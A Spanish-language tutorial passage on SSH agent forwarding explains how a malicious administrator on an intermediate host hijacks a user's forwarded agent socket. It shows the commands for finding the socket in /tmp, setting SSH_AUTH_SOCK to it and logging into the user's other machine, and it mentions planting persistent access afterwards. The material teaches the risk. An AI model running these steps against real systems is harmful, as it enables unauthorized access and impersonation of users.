El uso de agentes previene que la passphrase o la clave tengan que viajar por la red y nos proteje contra el róbo de la clave.
Sin embargo, existe la posibilidad de que alguien tenga acceso al socket usado por el agente. Cualquiera que pueda leer/escribir en ese socket tiene la posibilidad de suplantarnos. En particular el administrador de un sistema tiene siempre esa posibilidad.
Supongamos que el usuario casiano
tiene acceso a dos máquinas:
orion
y beowulf
a las que accede desde europa
.
Supongamos que el administrador de orion
es malicioso e intenta
obtener acceso a las máquinas de sus usuarios. Supongamos que tanto
europa
como beowulf
son máquinas fiables.
Asumimos también que la máquina beowulf
contiene información
importante y es un servidor que el usuario casiano
tiene en su casa.
La sesión que sigue muestra como el malvado administrador de orion
puede secuestrar al agente utilizado por casiano
para obtener acceso
a beowulf
:
casiano
abre una conexión SSH
con orion
desde la máquina
europa
, utilizando agent forwarding
casiano@europa:~$ ps -fA | grep ssh-agent casiano 7618 1 0 Apr28 ? 00:00:00 /usr/bin/ssh-agent -s casiano 16288 16223 0 Apr29 ? 00:00:00 /usr/bin/ssh-agent x-session-manager casiano 16970 13271 0 17:25 pts/31 00:00:00 grep ssh-agent pp2 28048 1 0 May02 ? 00:00:00 ssh-agent casiano@europa:~$ ssh-add -l 1024 49:Xc:eX:bX:Xa:ea:eX:XX:fc:aX:eX:Xb:XX:cX:da:XX /home/casiano/.ssh/id_dsa (DSA) 1024 56:XX:XX:dX:XX:eX:ca:XX:Xd:Xf:Xb:XX:Xd:fX:Xc:XX /home/casiano/.ssh/orionbackupidentity (DSA) casiano@europa:~$ ssh -A orion Linux orion 2.6.8-2-686 #1 Tue Aug 16 13:22:48 UTC 2005 i686 GNU/LinuxPosteriormente el usuario se conecta a una tercera máquina
beowulf
desde su sesión en orion
:
casiano@orion:~$ casiano@orion:~$ ssh beowulf Linux beowulf 2.6.15-1-686-smp #2 SMP Mon Mar 6 15:34:50 UTC 2006 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. No mail. Last login: Mon May 4 17:44:35 2009 from orion.pcg.ull.es casiano@beowulf:~$
orion
el malvado administrador busca por sockets de agentes en /tmp
:
root@orion:~# ls -ltr /tmp/ssh* total 0 srwxr-xr-x 1 casiano casiano 0 2009-05-04 17:35 agent.7932 root@orion:~# ls -ldtr /tmp/ssh* drwx------ 2 casiano casiano 4096 2009-05-04 17:35 /tmp/ssh-jrQQgf7932El root puede ver que el usuario
casiano
tiene un agente arrancado.
En el caso del agente, la opción -a de ssh-agent permite definir un lugar alternativo para el socket Unix a usar:
lusasoft@LusaSoft:~$ eval `ssh-agent -a myagentsocket` Agent pid 6475 lusasoft@LusaSoft:~$ ls -ltrd my* srw------- 1 lusasoft lusasoft 0 2009-05-02 08:56 myagentsocketesta opción sin embargo no afecta al socket creado por el daemon en
orion
El malvado administrador vigila lo que hace el usuario casiano:
root@orion:~# ps -fu casiano UID PID PPID C STIME TTY TIME CMD casiano 7682 7680 0 17:16 ? 00:00:00 sshd: casiano@pts/1 casiano 7683 7682 0 17:16 pts/1 00:00:00 -bash casiano 7932 7930 0 17:35 ? 00:00:00 sshd: casiano@pts/0 casiano 7933 7932 0 17:35 pts/0 00:00:00 -bash casiano 7939 7933 0 17:35 pts/0 00:00:00 ssh beowulfUmmmmhhh... tiene una conexión ssh a una máquina llamada
beowulf
?
demasiado breve para ser el nombre real de una máquina.
Debe estar definida en su fichero de configuración.
root@orion:~# export SSH_AUTH_SOCK=/tmp/ssh-jrQQgf7932/agent.7932
El administrador malvado ya puede conectarse. Usará el fichero de configuración de casiano
(opción -F
)
para que la conexión ocurra según la configuración de ese usuario (por supuesto, antes comprueba que
existe tal configuración):
root@orion:~# ssh -F ~casiano/.ssh/config casiano@beowulf casiano@beowulf:~$
El administrador de orion ha conseguido acceso a una máquina en la que no tenía cuenta. Ahora podría proceder a instalar una autentificación automática en la cuenta de caiano en beowulf, de modo que le permita posteriores visitas.
Casiano Rodriguez León 2015-01-07